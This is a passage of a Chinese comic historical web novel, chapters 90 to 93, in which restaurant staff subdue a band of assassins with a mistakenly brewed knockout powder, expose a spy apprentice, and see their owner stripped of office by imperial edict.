“行了,你俩别唠了,洪泽会这波人都倒了,赶紧拿绳子给他们绑起来吧。”马陶陶穿过大堂过来,小声说道。 原来这被迷晕的人都是洪泽会来复仇的,他们二当家的去岁来酒楼没讨着好,又寻了武林宗师来酒楼杀人灭口,结果钱财两空,人没杀了钱还被官府充公了,越想越气最后就亲自带了这百十来个人杀过来,结果这消息不知怎的就漏出去了,皇城司副司使吓得赶紧飞鸟传信,这才给了酒楼诸人准备的机会。 这年头打打杀杀的实在是犯不上,再说了要是打坏了刚建好的酒楼可咋办,这几个臭皮匠一寻思便用上了六水的最新发明百花香香粉,这药粉香得很,只要在鼻尖几瞬便会头晕目眩倒地不起。 “知道了知道了,对了柴房那里还有俩也晕了,一道绑起来吧。”赵玉雨比划着道。 “柴房怎么有俩?不就陈阿宝一个吗?”马陶陶都懵了,皱眉道。 “又诈出来个同伙,我跟讲太有意思了,真是太有意思了。”赵玉雨挎着马陶陶就往大堂走去,独留杜少仲一人在后院。 “不是?就我一人绑啊?”可怜的杜大少爷这回不当猴了,就差坐地上嚎了。 第90章 打油诗 “什么?!!!”只见那捧着肚子好悬没在榻上坐起来的钱三才,被震得瞠目结舌,转眼间却又变了脸,凶狠至极恨不得现下就揪住来福的耳朵,欲除之而后快。 “钱大人您莫急,我乍一听也是吓了一跳,还以为自个儿听错了,转眼见少仲在我身边也是惊得合不拢嘴,我才知是真的。”赵玉雨摘了蒙面,倒了杯茶后轻声细语道。 钱三才气得胸口生疼头痛欲裂,宛如五雷轰顶般一时间竟说不出话来了,他是个无儿无女的命,这辈子就收了三个徒弟,招财进宝和来福。这三个徒弟来福入他门下最晚,可却浑身上下透着股机灵劲,他瞅着就稀罕。 更别提这孩子对他十分孝顺,其实他早就把来福当成自己的半个儿子了,除了教他做菜做人做事,出入谋划也总是带着他,不曾想养了许多年的儿子,竟成了头狼,还是只异姓狼。 宫里宫外朝堂争端,这头异姓狼知道的太多太多了,如若眼前这姑娘说的是真的,那得有多少事从来福这么个大筛子里漏出去啊,钱三才想都不敢想。 “走,带我去这小子!”钱三才低着头久久不语,浑浊的双眼直勾勾地盯着那榻上的木雕花,猛地再一抬起头来,恍若老了好几岁。 “现在?”赵玉雨连忙给程六水飞眼神道。 “……钱大人,下面现在有些乱,要不等东家他们收拾好了,您再去收拾来福?”程六水一边瞟着屋外的动静,一边上前拦着钱三才。 这钱大人在宫里待久了,怕是见不得楼下的场面,光是百十来个人黑衣人个个拿着刀剑的,任是个正常人都得心吓得一嘚瑟,更何况是刚经受过大惊大悲的钱大人呢。 “无妨,老夫活了这些年什么场面没见过,不就区区几个小毛贼吗?”钱三才不顾程六水和赵玉雨的阻拦,起身就推开了二楼客房的门,这一下子他的小心脏又差点提到嗓子眼了。 几盏昏暗油灯勉强能看清大堂,那酒楼余下那几人齐齐跑到柜台后面不敢动,而大堂里的黑衣人们竟有些在此时醒转了,一个个摇摇晃晃地站了起来,迷茫地环顾四周,有的人面上的黑布早已脱落,露出了个老长的刀疤。 二楼的赵玉雨僵硬地看着程六水,无声地说道,“怎么回事?你的百花香香粉不好使了?” 程六水挤眉弄眼般地解释着,“我什么也不知道啊,要不用大力摔炮吧。” “那不得把酒楼炸没了?”赵玉雨紧闭着嘴,眼神往自己手中满满一大盒的摔炮看去。 钱三才瞅着这俩人你来我往无声的交谈,迫于形势不得不也加入了交谈,“你们都干了什么?不只是说进贼了吗这么老些人哪是贼啊?有手上全是家伙事的贼吗!” 程六水和赵玉雨不约而同十分默契地低下了头,抿着不说话,她们能说什么?说杜尚书花钱让洪泽会一个杀手组织来接自己的宝贝儿子,结果儿子没接成,洪泽会的二当家因为吃了一顿小烧烤拉了三天肚子,气得捂了嚎风,只能找到武林宗师买凶杀人,可那宗师是个假冒的恋爱脑,被南越的骗子骗钱骗心,最后洪泽会二当家赔了夫人又折兵,只能领着百来号弟兄杀进了酒楼。 没想到进了酒楼就被迷晕了,晕也晕不踏实,因为给他做拉肚子小烧烤的程六水,除了是个会在烧烤里加巴豆的黑心厨子,还是个不靠谱的绝命毒师?这话就算是她们说了,也得有人信啊?天下哪能有这么多不靠谱的人碰巧凑在一起啊? “小燕子穿花衣,年年春天到这里。”刀疤男手上是被绑住的,可他偏偏还想扑扇着飞,在那空中划过了极为优美的弧度,“哐当”一声就砸在了另一位刚刚坐起来的杀手身上,这杀手眨巴眨巴大眼睛看着刀疤男道,“大明湖明湖大,大明湖里有荷花,荷花上面有**,一戳一蹦跶。” 在柜台后站着的酒楼几人一瞬间都怀疑自己耳朵聋了,随后齐刷刷地抬头往着造成一切的罪魁祸首——程·绝命毒师·乱下药·六水。 程六水撇着嘴瞪着眼,着急忙慌地不停摇头,连连摆手说和自己没关系,可惜她下 错药这件事是有口皆碑的,上次给顾名思顾大师父就下错了,这次不知道又是什么佐料没放对。 **杀手话音刚落,那边就有人接上了,“远看大石头,近看石头大,真是大石头,石头真是大”这位杀手因着晕的地方有些偏,还没轮上给他绑手,好家伙一边说着一边手舞足蹈着,颇有些魏晋名士的放荡不羁之风。 “行了!别作诗了!你们老实给我坐下,手背后面去!”程六水实在是受不了了,还石头真是大,她看这帮杀手是小树不修不直溜,人不修理艮啾啾。 此话一出,楼下数十双眼睛看向程六水,这下子给程六水吓得一激灵,她有些胆怯地往后缩,结果一缩倒好差点摔个跟头,抬眼这么一瞧,那赵玉雨和钱三才都往客房里挪了好几步了。 “你们给我出来!”程六水气鼓鼓地指责着这俩临阵脱逃的同伙,背后没人心里慌慌。 程六水再一回头,只见那楼下所有的杀手老老实实整整齐齐地坐在地上,还乖乖地背过手去,眼神宛如三岁稚子般清澈。 这下子程六水心虚地摸了摸鼻子,不会真放错几味药了吧?主要是这药昨个儿才研制好的,没找人试过药,谁知道到底是哪几味错了啊。 她只能接着壮着胆子道,“你们互相找绳子把对方双手绑起来。”话音刚落,杀手们动作整齐划一地开始绑绳子,手法极其熟练,比那半路出家的杜少仲强多了。 不消半炷香,所有杀手都绑好了手脚,一个挨一个地坐好,幸亏酒楼扩建了不老少,不然还真坐不下这百十个杀手。 “闭眼睛睡吧睡吧,睡上个三天三夜。”程六水边下楼边说道,刹那间杀手们就全睡着了,有的甚至打起了呼噜来。 从方才就一直手握长剑的张清寒见程六水下来了,这才从柜台后出来笑道,“你啊你啊。” “我怎么了?你看这不是都晕了吗?和我百花香香粉的功效相差不二啊。”程六水仰着头煞有介事道,说着说着自己也在那儿止不住地乐,酒楼一圈人也跟着乐得不行,个个前仰后合的。 就连那差点气急攻心的钱三才都不禁哼哼笑着,这酒楼还真是奇了,一会儿哭一会儿笑的,瞧着比宫里有意思,比京城有意思,怪不得小清寒想留在这儿,就连他也想留在这儿。 可惜他得回京谋划大事去了,只不过走之前自家门户还是要清理的,待到他们一行人笑得肚子都痛了,才将将去到柴房,柴房门锁都没打开呢,就听屋里传来了郎朗诗声“一片一片又一片,两片三片四五片,六片七片**片,飞入芦花都不见。” “你还别说,这么些诗听下来,就这首还算有些文采,虽是白描却也生动押韵。”杜少仲听罢一个劲儿地点头道。 “杜公子你就别文绉绉了,赶紧把锁打开吧,老夫现在只想给那逆徒踹成一片两片三片的。”钱三才没好气道,气势汹汹得好似要吃人。 “钱大人稍安勿躁,心急吃不了热豆腐,你看这不是开了嘛。”杜少仲咧开嘴笑得那叫一个开心啊。 陈阿宝和来福在柴房里本就是被绑住手脚的,只不过此时胡言乱语是什么都问不出的,只得先服下百花香香粉的解药,才能问出一二了。 程六水刚从口袋里掏出了好几个瓶瓶罐罐,就听钱三才欲言又止道,“这解药不会再弄错了吧?” “青天大老爷啊,我可是专业的!钱大人你问问他们,他们都是吃了我的解药的,不然咋能光给别人闻香香粉,自己不中招呢,他们吃完解药可都好好的,你们说是不是!”程六水怒着嘴愤愤不平道,还拉着马陶陶作证。 马陶陶默默抽出了自己被程六水攥得皱皱巴巴的袖子道,“那个……我吃完解药,就拉了个肚子。” “那不是我解药的原因!那是因为你在后厨偷吃没炸好的蘑菇!”程六水炸毛道。 “好好好老夫信你,你给他们吃解药吧。”钱三才只能松口道,他说完又想笑,这世上怎么会有人心虚到炸毛啊实在是好笑,算了这丫头还是别进宫做御厨了,要不到时候宫里得天天鸡飞狗跳的了。 陈阿宝和来福乖乖吃了解药后,不消一会儿眼神便清明了许多,诗也不念了只是还有些眩晕。 来福是最先恢复本来神智的,眼前的光亮渐渐站满了一圈人,有张东家程厨子自家师父,再一转头就见自己和陈阿宝挨在一起,等会儿陈阿宝? 再定睛一看,自家师父的脸早已黑成了锅底了,来福惊觉不好起身就要逃,可惜一个大跨步直接被脚上的绳子绊住,摔了个人仰马翻。《 》 90-100 第91章 厨子要跑 呼啸而过的风声吹得窗纸差点四吹八落,夜里柴房还是有些冷的,酒楼众人实在看不过去,临关门前塞了个炭盆进去,银炭噼里啪啦地响着,明明是春日里却不怎的像极了寒冬。 “为什么?”待众人离了柴房,钱三才才垂首低声道。 方才摔得鼻青脸肿的来福窝在角落里瞧不清神情,只是眼睫轻颤了两下道,“师父,你我师徒十余载,您此时就要听信了别人的谗言吗?” 钱三才端着一盏油灯,缓缓走向角落,他并未回答来福的话,只是继续问道,“为什么?” “……师父,我是做错什么了吗?我一觉醒来便在了此处被五花大绑着,我全然不知到底发生了什么。”来福非但没有惧怕钱三才的靠近,反而抬起头来满是孺慕之情的看向他。 这么一看,钱三才端着油灯的手却有些抖了,“到这个时候,还是不愿对为师说句真话吗?你到底是谁?为什么来到我身边?” 来福虽是绑住了手脚,却也费力地直起身子勉强跪着道,“师父,我自幼家贫,爹娘将我卖进了宫,后来我在宫里病得活不下去了,是您托人给我开了药,我才活到了今天。我是您的徒弟啊,就连我的名字,也是您给的。” 字字诛心句句泣血,宛如一把明明开了刃见了血却钝得很的刀,一下一下磨得钱三才心神俱痛,久久也未缓过来,他是活了几十年的人,大抵是分得清黑白是非的,张清寒没有害来福的缘由,自然就没必要诬陷来福。 可他这徒弟脸上如今竟是有十分真心十分情意,这些真心情意如张织的密到不能再密的网,层层叠叠地包裹着他已然凉透了的心,既然已经凉透了,又何必要这网?白惹得悲痛欲绝肝肠寸断。 “皇城司的人已经在来的路上了,那么个阴曹地府般的所在,你怕是进去个三两日,便有结果了。”钱三才低声叹气道,老态横生一眨眼仿佛老了十几岁, “什么结果?师父,你是要我横死在皇城司吗?”来福死死盯着钱三才那双满是血丝的浑浊双眼道。 “要么你招了,要么你死了,无非就是这两个结果。你若是招了,便不会死,我会让张清寒留你性命的。”钱三才避开了来福的眼神,闪躲间开口道。 “张清寒留我性命?他个铁面阎王留我什么性命?师父,难不成你是真的要与我师徒情分断绝吗?明明就是张清寒要来诬陷我挑拨你我师徒,他怕是巴不得我死在皇城司。”来福大声叫嚷道,他就算是落在官府衙门中,也比身陷在皇城司好,他知道的他扛不住张清寒的手段,一旦扛不住那就什么都完了。 “我见过不少别国的细作,却不想如今连自己的徒弟都是细作了,老夫我报了一辈子国,竟是这么个结果,真是天大的笑话,来福啊你我的师徒情分也是个大笑话。”钱三才忽而哈哈哈大笑起来,几滴泪流过他那不再年轻的面庞上,他不在停留只是转身离开,推开了柴房的大门。 柴房外,酒楼众人正在审陈阿宝这个南越骗子,忽而就听到柴房中传来了一声,“张清寒,钱三才想害你,他这次来就是要对你斩草除根的。” 话音刚落,钱三才就觉脖子一凉,明晃晃泛着血腥气的西瓜弯刀架在了他的脖子上,乔四方咧个大嘴挠着头盯着他。 其余诸人皆是神情错愕,只有那陈阿宝反而波澜不惊,自从他接受这酒楼是个黑店的设定,之后发生的所有事情就不足为奇了,顶多就是黑吃黑吃黑。 “四方不得无礼。”张清寒敛起眼眸,轻声道。 钱三才的脖子这才从刀上挪下来,刚稍稍活动了两下,正想开口辩白,就又听一声大叫。 “张大人,你不知道吧,钱三才投靠了洪林党,你早就是洪林党的眼中钉肉中刺了。钱三才,你不让我活,我也让你活不好。”来福癫狂地瘫倒在柴房的地上大笑着,他没什么可顾忌的了,临死前就让这大乾再乱些吧。 “清寒你莫要听这逆贼胡言。”钱三才赶忙上前解释道。 张清寒抬起头来,神情冷峻着,却并未 开口。洪林党,在朝中颇具实力,朝中不少文官清流身在其中,甚至背后有皇室宗亲的身影,说得好听要拥立大乾李氏江山,可当今圣上姓李,圣上那十几二十个兄弟也姓李。 而他就是这洪林党的卡在喉咙里的刺,只因他受谢皇后举荐做官,三五年间平步青云,又深受圣上信任,上到皇室下到平民皆可监察,这样的权力怎能不受人忌惮,他也正是因为这忌惮才自请离开朝堂躲个清净。 张清寒都不用细想这二人到底谁在说谎,他只知这朝堂怕是要乱了,或者不止是朝堂,更是天下。 “钱大人不必解释,我早已远离庙堂不理政事许久,你是洪林党也好是皇后党也好,于我并无什么干系。而这南越的细作,等下自会有人来提审。”张清寒轻描淡写道,言语间并未见半丝怒气,紧接着他又道,“只不过,还有这南越骗子陈阿宝,他方才招了些话,我听着不大对劲,还请钱大人回京一并禀报了好。” 钱三才现下是心真的凉透了,一拳打在了棉花上,有力气都没处使,只能接着问道,“哪里不对劲?” “这陈阿宝所戴的人皮面具是我师兄的面孔,他却说这面孔并未在南越出现过,他们这一批苦兹帮在大乾行骗的面孔,皆是从北戎都城得来的。”程六水上前道。 “北戎?”钱三才心惊得连连后退,南越无孔不入的细作,北戎暗中的帮助,大乾本就在这两国之间,他们这是要意欲何为,不用旁人多说半字,他便已然知晓。 “钱大人,不管您是不是洪林党,这些无谓的党争远没有国家安危重要,国家兴亡匹夫有责,你我皆有责。”张清寒退后深深行了一礼。 “清寒,是老夫对不住你,你要多保重。”钱三才回了一礼,惭愧地看了看依旧身如松柏的张清寒道。 夜色渐浅,钱三才带着另外的两个徒弟快马离开了江陵,北上京都禀报要事,而酒楼满地的洪泽会杀手被方知府带走了。 “张清寒,我还会回来的!!!”洪泽会二当家手脚都带着镣铐,依旧张牙舞爪道。 “好,我等你回来找我。”张清寒微微一笑道,左手一挥,二当家就被带走了,他再右手一挥,皇城司十几人从各处现身,将南越的陈阿宝和来福皆带走了。 待到街市热闹非凡之时,好似这酒楼依旧太太平平,什么都没发生,只不过好似东家懒怠在门口贴了个歇业一日的告示,令不少颠颠赶来的食客大声惋惜。 酒楼内里桌子板凳收拾了许久,伙计们累得不行,瘫坐在桌前顺手就揪着桌子上的面包片吃着,一口面包一口肉肠好吃却干巴,可他们实在是没了力气困得还直打哈欠,只能嘎巴嘎巴吃着。 “喝点牛乳茶吧。”程六水从后院端来了好大一壶牛乳茶,这牛乳本是每隔两日便要送一遭的,清晨刚从后院卸了一桶,加上普洱茶汤别有一番滋味,牛乳的醇厚中竟有几分清爽。 杜少仲赶忙豪饮一大口,这下子面包肉肠吃得更香了,而一旁的张清寒却一小口一小口吃得极少。 “东家?吃不下吗?”程六水捧着盏乳茶,轻声问道。 “没有,我只是担心……”张清寒放下面包片,欲言又止道。 “我也担心。”程六水望着乳茶熏染的热气道。 “你担心什么?”张清寒不禁抬头望向程六水。 “我师兄或在北戎都城,那我爹娘应该也是在的,我想去寻他们。”程六水饮尽了一盏茶来,撕了个面包边边,不以为意道。 “什么?”这下子快趴在桌子上差点睡过去的马陶陶都惊醒了,众人皆是惊呼道。 “北戎都城山高路远,如今虽瞧着北戎与我大乾交好,可昨夜之事处处透着蹊跷,你若是去了怕是危险得很。”张清寒立时出言意欲阻拦道,他如何能看着自己心爱之人涉险。 “你说的这些,我也是看得明白的,可我也不是那没心没肝的人,以前是不知爹娘下落,现下有了线索,怎能不去寻?你放心我也是吃过些苦的,大不了我再多做些炸药和毒药,总能保命的。”程六水说得很是平静,想是早就下定了决心。 她现在兜里有个百十两银子,用得节省些总是能到北戎的,实在没钱了她就再寻个食肆做工,人有手艺在哪里都饿不死。 “我不同意。”张清寒“咻”地一下站了起来道,面色冷得吓人。 “东家,我知道酒楼是不能没厨子的,玉雨最近厨艺很有长进,你也可以再找个新厨子,两个厨子总是能行的。”程六水很是周到地替张清寒想到。 “你以为我是因为酒楼没厨子,才不同意的吗?”张清寒抿着嘴,寒星眸子直直看向了这个现下还在啃面包边的家伙。 第92章 烤大饼 程六水眨巴着眼睛,撇了半天嘴才嘟嘟囔囔道,“我知你是担心我的安危,可我早晚都是要去的,方才那陈阿宝也说了,他拿着这人皮面具不久,说明师兄和爹娘定还活着,早早寻到他们,我才安心。” “你安心了?那我如何安心?你有想过吗?”张清寒恨不得将这没心没肺的人儿扒开,看看到底是在装糊涂还是真糊涂,糊涂到此时都察觉不出自己的心意。 “没想过不知道,你这东家怪得很,谁知道你一天到晚在想些什么。”程六水圆眼睛叽里咕噜转了几圈道。 “……昨夜累了一夜了,大家稍事休整,明日酒楼歇业三月,我随六水北上,其余人带薪放假三月,留在酒楼或外出游玩均可。”张清寒深深呼了几口气,这才没被程六水说的话气死。 这回除了张清寒,酒楼一圈人皆是傻了眼,程六水属实没明白,这么红火的酒楼关了作甚?待她从北戎回来,她还想接着在这里做工赚钱呢,毕竟这么东家傻乎乎钱多多的地方不好找了。 “你俩想去北戎,为何不带我们一起去?”马陶陶第一个站起来说道,“我哥哥来往北戎许久,我耳濡目染自是熟悉北戎风土人情,况且那北戎国都还有我们家的宅子铺子呢,到时候落脚多方便啊。” “是啊,我也没去过北戎,以前跑洪泽会单子跑遍了大乾山河,就是没出过国,这回好了有机会了,我也要去。”乔四方理直气壮说罢,又黏黏糊糊地靠着马陶陶去了。 “我们不是去北戎玩的,此去长途跋涉危险亦未可知,你们莫要起哄。”张清寒按着自己青筋蹦蹦跳的脑袋,十分无奈道。 “那你们四个都去了,我和玉雨留在这里作甚,读万卷书不如行万里路,我们俩也去!”杜少仲和赵玉雨对视一二,便一拍即合道。 “对啊,这一路北上能去不少大的城池,我真想好好见识见识。”赵玉雨附和道。 “不止是北戎,此去路过京城,我也要进宫一趟,现下看来朝局早晚要动荡,我实在是放心不下。”张清寒无力地叹气道,朝局动荡不足以令他叹气,可面前这些叫得一个比一个高的人实在令他想要叹气。 “京城?那不是正好,我回家看看我那老父亲。”杜少仲甚至高兴地跳了起来。 “你别跳了,你们能不能认真听我说。”张清寒的苦口婆心换不来伙计们的言听计从,只见这一伙人蹦蹦跳跳地都要去收拾行装了,那赵玉雨和马陶陶还在那儿商量哪个州府市集最好逛。 “东家,我认真听了。”程六水这回居然乖乖坐在一旁,老实巴交道。 “六水……”张清寒心中不禁泛起阵阵涟漪,正感动着呢,又听程六水张开小嘴叭叭叭道,“东家,那要是大家都去的话,算不算公费外出啊,能不能报效路费伙食费,还有一定是能带薪外出的吧!” “……行吧,都去都去。”张清寒一声令下,这下子所有人皆是欢呼雀跃地跑走了,仿佛昨夜没睡的不是他们,一个个竟出门要去买新衣裳新鞋子了。 短短几瞬,酒楼里只余张清寒和程六水两人,程六水吃完了面包边边有点噎,又喝了杯牛乳茶才轻声问道,“东家,你这回进京会不会有危险?” 这一问张清寒眼里忽而有光了,他眼睛一刻也不眨地看向程六水道,“你在担心我?” “我自然担心你,那南越 细作说的再明白不过了,今日他们能派与你相熟的钱大人来试探你,定是有了要做掉你的心思,你要是真的进京,莫不是自投罗网?“程六水细细思量着,眼神中浮现出了难得的忧虑。 “无事,这天下想杀了我的人太多了,洪林党虽势力正盛,可只要陛下娘娘信我,他们就动我不得。我更担心的是,怕是南越与北戎正在密谋些危害大乾,我今晨已飞鸽传书,望陛下收到密信,可细细盘查早做防备。 我随你去北戎一是为了寻你父母,二也是为了看看北戎到底在搞什么鬼把戏。想当年他们的大王拓跋泽盟誓与大乾世代交好,如今怎么又想不作数了。“张清寒严肃道。 程六水听了这话,捧着脸皱着眉,欲言又止道,“我不懂什么朝局党争,可我在想那洪林党想除掉你,大抵就是因着你挡了他们的路,有没有可能就是因为陛下信重你,你才能远离京城却仍权柄在手,他们这才想除掉你?” 这明显是先有鸡还是先有蛋的问题,程六水在现代看了那么多权谋剧,她只知道那些弃子是没有人管的,电视剧也不会给他们一个结局镜头,而在棋盘上的棋子才得步步小心,小心被人吃掉。 “六水,你看似不懂,却其实什么都懂,陛下信重我我自然忠义报之,定然不会看他的朝堂江山有丝毫坍塌的可能。”张清寒温和一笑,没忍住伸手摸了摸程六水毛绒绒的头顶。 程六水用力甩了甩头顶上烦人的大手,张清寒这么个死结怕是打不开了,算了既然解不开便不解了,总之他们是要一道去京城的,实在不行就兵来将挡水来土掩,眼下还是去准备些保命毒药丸子吧! “既然你想得明白,那我便陪你去京城。”程六水站起身来开口道,只不过话锋又一转道,“对了,要是真被人捉住了,你说我是准备多少毒药丸子比较好呢?” “……你想准备多少就准备多少,但别下错药了。”张清寒笑着开口道。 “切!小心到时候我第一个给你吃毒药丸子。”程六水咋咋呼呼地也跑走了,不管后面那个冷脸烦人精了。 原本只是修整一日便出发的酒楼北上团,足足拖了三日,先是乔四方拉着张清寒去挑马和马车,要知道这一路少说也有千里地,没有良驹可真是寸步难行,就这么细细挑着,差点把整个江陵的马都看遍了。 而杜少仲,赵玉雨和马陶陶则在厨房里听着程六水的指挥,和面烤大饼,这大饼与西北吃的馕极像,需要在窑中烤个把时辰,表面烤得干干的,内里却很有嚼劲,能放个十天半月的最适合赶路吃了。 除了烤大饼,自然还有各式各样的肉干果脯,个个做好包进了油皮纸,北上若是能一路有住的地方更好,若是没有就少不得风餐露宿,这些肉干吃起来顶饱得很,煮进汤里就是一锅鲜美的肉汤啊,暖暖和和吃着可舒服了。 而程六水除了指挥着这三人干活,就是躲在自己的屋子里弄那些瓶瓶罐罐的,她在屋里也支了个小锅,不知在做些什么,第二日就差点把屋子给炸了,“嘭”一声吓人得紧,给自己弄得浑身黑乎乎的,头发都支棱起来了。 所幸还能大叫着说没事,要不然早就被抬去医馆救治了。 第三日日落,程六水终于是背着两大个包袱走出了自己的屋子,先是瞧了瞧这几人烤得大饼肉干,不错不错甚是得她真传,再一瞧张东家和乔四方挑的马,马不错马车更不错,这马车挑得很是用心,内里宽敞得很,三个姑娘坐在其中一点不觉拥挤,还能有在路上打个盹。 “只是小毛毛怎么办啊?”赵玉雨抱着哈巴狗毛毛就是不撒手,毛毛也似有心灵感应般,两只爪子抱住了赵玉雨的手臂,可怜巴巴的大眼睛无辜地睁着,任再铁石心肠的人都狠不下心来。 “毛毛我早于方知府打好招呼,放在府衙里养着,说不定哪日还能跟着捕快们一起巡街。”张清寒说罢便用肉干引诱着毛毛。 毛毛本就是只没什么出息的狗,一见有肉吃这下子也不抱赵玉雨的手了,“扑通”一声便跳了下来奔着肉干就去了,自投罗网进了竹笼子的怀抱,它在竹笼子里也乖得很不吵不闹的,也不知是谁在这竹笼子里放了七八根肉干,毛毛啃了这只啃那只,早就将主人们要走的事扔在脑后了。 “那我们这便去给方知府送去吧,明日我们就启程北上!”程六水兴奋地摩拳擦掌,谁能不喜欢出去玩啊,即使前路未卜,但先玩了再说。她向来就是这样的性子,能过一日是一日,快活一日便是一日,再多想也无益。 “铛铛铛”三声敲门声响起,后院的诸人你看看我,我看看你,酒楼已歇业好几日了,谁会此刻上门啊?乔四方默默拴好了几匹马,几人一齐来了大堂。 “谁?”乔四方出声询问道。 “是我。”此话一出,众人的心这才放了下来,原是方知府自己上门了,怕是来取毛毛的。 杜少仲打开了门锁推开了门,只是随意一看便觉着奇怪了,这方知府一不上堂二不破案的,平白无故穿官服来酒楼作甚? “张大人可在?”方知府神情严肃,一本正经地开口道。 “我在。”张清寒这才走上前去。 “张清寒接旨。”方知府身后走出了一人,高声道。 第93章 他与旁人不一样 只见来人绯袍玉带纹绣狮子,身形长立气宇轩昂,五官端正面容白皙,端是一副年少公侯的气派,非金尊玉贵之家不可得。再细一观,却见其眼眸竟颇为深不可测,明明是洼子高山而来的清泉,偏偏成了那吞人的幽湖。 张清寒面色未改,见其官服加身手持明黄圣旨,自知是有大事发生,干脆利落地跪地道,“臣接旨。” 酒楼一众人顿时都傻了眼,可天家旨意不容旁人半点迟疑,最先反应过来的便是杜少仲,他拽着身旁的赵玉雨“哐当”就跟着跪了下来,剩下几人你拽我我拽他的,没几瞬皆是跪倒叩拜了。 “奉天承运,皇帝诏曰:今皇城司正使张清寒,本受朕重托,理应恪尽本职,然其懈怠不工玩忽职守,久召不回甚有不臣之心,念其数载之功,故革其官职贬为庶民,钦此。” 来人宣读圣旨后,这才笑道,“张大人,不张清寒接旨吧。” 这圣旨上的一字字甚是清晰地在张清寒耳边盘响起,他脊梁未塌仰首道,“庶民张清寒接旨。”深深一跪,跪的不是眼前的少年公侯,而是这大乾的主人。 紧接着他掸了掸衣袖起身道,“这么一道褫夺官职的圣旨,旁人送来便罢了,怎么还劳烦白侯爷亲自跑一趟?” “昔日张大人在朝中是何等分量,若是换个不知深浅的,将这差事办砸了可不好,本侯念着与你有旧,跑一趟也是不冤枉的,况且这江陵也不只有你。”白承茂走到张清寒身前,神情倨傲地看着他,成王败寇历来如此,这张清寒在京中耀武扬威了几载,仰仗着的都是皇家的信重,可惜信重这东西今日有明日无的,说到底张清寒此人还是太浅了些。 “草民多谢侯爷谬赞,江陵人杰地灵,我等小民都是仰赖知府大人的德政。”张清寒不卑不亢道,只不过他挪动了几步,挡住了身后的某人。 “方知府在江陵一带素有贤名,想必用不了多久便要进京任职了。”白承茂回首冷眼一瞧,竟瞧得方知府一身冷汗。 这位白小侯爷如今可是京中炙手可热的人物,那冷了多年的伯远侯府成了数一数二的热灶,这么个一品公侯言语夸赞,神情却阴郁,怎能不让方知府心惊。 “微臣受陛下天恩,奉命治理江陵,万不敢担什么贤名,皆是陛下恩泽庇佑。”方知府又是鞠躬又是行礼的,生怕说错什么话办错什么事。 “行了,本侯又不吃人,何故怕成这样。”白承茂转而一笑,当真个阴晴不定之人,“本侯今日也累了,不知……” 话音未落,方知府便接着话茬道,“微臣府邸早已收拾妥当,若侯爷不嫌弃,可下榻于此。” “不必,我在京中就听闻江陵十全酒楼有个好厨子,做菜一绝心思更是巧,不知张东家的酒楼有没有本侯的下榻之处?”白承茂笑里藏刀道,目光却看向了张清寒身后。 身后藏着白承茂千辛万苦寻了三年的人,她瘦了但精神却好,他发愣般瞧了好几眼才放下心来。 “我这里是酒楼,又不是客栈驿馆,侯爷怕是问错人了吧?”张清寒到如今,又何尝不知白承茂是什么心思,自己这个昔日的政敌终于落马,白承茂巴巴赶来耀武扬威还不够,竟还想以权压人强取豪夺。 所幸张清寒耐得住性子愿与他周旋,毕竟他身后还有这一帮伙计们,要不然依了他刚出六白山的脾性,连那皇子亲王都是打得嗷嗷叫的。管他什么皇亲贵胄,说到底不也就是两个眼睛一个鼻子吗?他在庙堂走了一遭,日夜戴着那君臣纲常的面具,早就烦得很了。 张清寒那剑眉寒眸冷眼瞅着白承茂,而白承茂竟也不再开口,他是亲眼见过张清寒杀人的,当时那双眼与现在这双无半分区别,他这一盘算身后带的那百八十个人,不妙不妙他们加一起都打不过一个张清寒。 “怎的我妹妹能住你这酒楼,我就住不得了?张东家的酒楼开门是要赶客的吗?”白承茂轻蔑一笑道。 “张老弟,白侯爷远道而来,咱江陵可不能失了待客之道啊。”白承茂身后的方知府一个劲儿地使眼色递眼神。 可惜那张清寒是个顶顶硬的骨头,面色丝毫不改,就在这儿看着白承茂还能说些什么。 “六水,我要没地方住了,你知道我身子骨不好的……”谁曾想那白承茂直接绕过了张清寒,眼巴巴地凑到正在和赵玉雨窃窃私语的程六水跟前,委屈巴巴地说着。 程六水那葡萄大的圆眼睛吓得瞬间睁大了,这与她有何干啊?这白承茂来宣旨就宣旨呗,东家没个官职也挺好,他本就不爱当官,辞了多次无果,如今得偿所愿说不定还能给他们发奖金呢。 她方才就想这奖金该怎么花,本来口袋里有一百两银子,这次公费北上又能剩下不老少路费,再加上奖金少说也得一百零二两银子了吧,这二两银子她要去瞧瞧东市王裁缝家的云锦石榴裙,最好是那杏黄色的,春日里穿俏生生的可好看了,她路过了裁缝铺好几次都没买,嫌贵得很。 “六水……”这白承茂见程六水愣神也不恼,只是继续央求着。 “你若是想住付钱便是,就算你如今是王室公卿,也没有不付钱的道理吧?”程六水嗔怪地看了眼白承茂,不客气道。 此话一出,白承茂顿时喜笑颜开道,“付付付,你说付多少?” 程六水递了个眼神给乔四方,乔四方立时心领神会,拿起手边的算盘开始拨楞,不知道的还以为白承茂要在这地方住个十年八年的呢。 “白侯爷您要是在江陵食宿都在小店,那不多不少一千两纹银。”乔四方咧着嘴露出了白白的大牙,笑得那叫一个谄媚。 “???”张清寒都懵了一瞬,转头就看见程六水那宛如奸商般的嘴脸,她眉眼带笑宛如一只偷鸡的狐狸。 “你不会付不起吧?要现结哦~”程六水抿着嘴,天真无辜地看向白承茂,紧接着又轻声说道,“你不是说想吃我做的菜吗?” “王二。”白承茂脑子瞬间消停了,一声令下身后的王二就拿来了一千两银票,递给了张清寒。 张清寒本不想接,可见酒楼伙计们的眼神,一个赛一个的亮,就差把这银票拿到手偷摸分了,就这么一愣,手里就多了张一千两银票来。 “客官,您里面请!”马陶陶甩着自己烙了好几天大饼的胳膊,喜气洋洋地给白承茂引路。 白承茂一听这声音,再一看这脸,皱起眉眯起眼道,“你是,你是马牧远的妹妹?” “侯爷真是过目不忙,小女子正是,来这二楼最里面那间就是客房,早就收拾好了。”马陶陶拍着马屁道,颠颠就给白承茂引了过去。那白承茂带的百八十人,酒楼却是住不下的,只能在离酒楼不远的客栈住下。 这楼上还在那儿办入住呢,这后院里就炸开了锅。 “咋能呢?俺没想明白,咋能呢?”乔四方七尺八的个子在后院里左三圈右三圈地转悠,一边转还一边念叨着。 “有啥咋能的?那兴许陛下终于想通了,舍得放清寒走了呗。”杜少仲啃着本来赶路吃的肉干道。 “其中缘由不可知,可那圣旨确实是真的,在这儿想也无用,待北上去了京城,便能明白了。”张清寒面有忧色道,他做不做官倒无所谓,只要是怕陛下出了什么事。 